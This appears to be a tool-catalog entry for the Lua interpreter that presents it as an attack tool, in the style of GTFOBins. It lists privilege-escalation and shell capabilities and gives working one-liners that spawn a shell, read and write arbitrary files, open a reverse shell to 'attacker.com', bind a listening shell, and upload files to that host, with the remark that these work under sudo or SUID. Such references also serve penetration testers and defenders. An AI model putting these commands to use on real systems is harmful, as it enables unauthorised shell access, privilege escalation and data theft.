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lua

Lua programming language interpreter with extensive capabilities for shell, file, and network operations.

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lua {e}

📎 e

lua {e}

Sandbox: execFile · Timeout: 30s

Capabilities

security.privilege-escalation.shell

security.execution.reverse-shell

security.execution.bind-shell

security.execution.command

system.file.read

system.file.write

network.transfer.download

network.transfer.upload

Parameters

Name	Type	Required	Default	Description	Aliases
`e`	string	No	-	Execute Lua code	`-e`

Contract

Inputs

system.command.string

Lua -e code string

Outputs

process.output

Command or shell output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Consumes

system.command.string

Resource Profile

Resource	Value
CPU	low
Memory	8 MB
Network	medium
Disk I/O	low

Examples

Spawn an interactive shell

lua -e 'os.execute("/bin/sh")'

Read arbitrary file

lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);'

Write arbitrary data to file

lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);'

Spawn reverse shell (requires lua-socket)

lua -e '
  local s=require("socket");
  local t=assert(s.tcp());
  t:connect("attacker.com",12345);
  while true do
    local r,x=t:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));t:send(b);
  end;
  f:close();t:close();'

Spawn bind shell (requires lua-socket)

lua -e '
  local k=require("socket");
  local s=assert(k.bind("*",12345));
  local c=s:accept();
  while true do
    local r,x=c:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));c:send(b);
  end;c:close();f:close();'

Upload file (requires lua-socket)

lua -e '
  local f=io.open("/path/to/input-file", "rb")
  local d=f:read("*a")
  io.close(f);
  local s=require("socket");
  local t=assert(s.tcp());
  t:connect("attacker.com",12345);
  t:send(d);
  t:close();'

Download file (requires lua-socket)

lua -e '
  local k=require("socket");
  local s=assert(k.bind("*",12345));
  local c=s:accept();
  local d,x=c:receive("*a");
  c:close();
  local f=io.open("/path/to/output-file", "wb");
  f:write(d);
  io.close(f);'

Documentation

lua — Lua Interpreter

Lua is a powerful, lightweight programming language. With sudo or SUID, lua -e can execute arbitrary Lua code for shell access, file read/write, reverse shells, bind shells, and file transfers (some features require lua-socket).

Dependencies

lua-socket

Related Tools

pythonperlruby

References

Lua documentation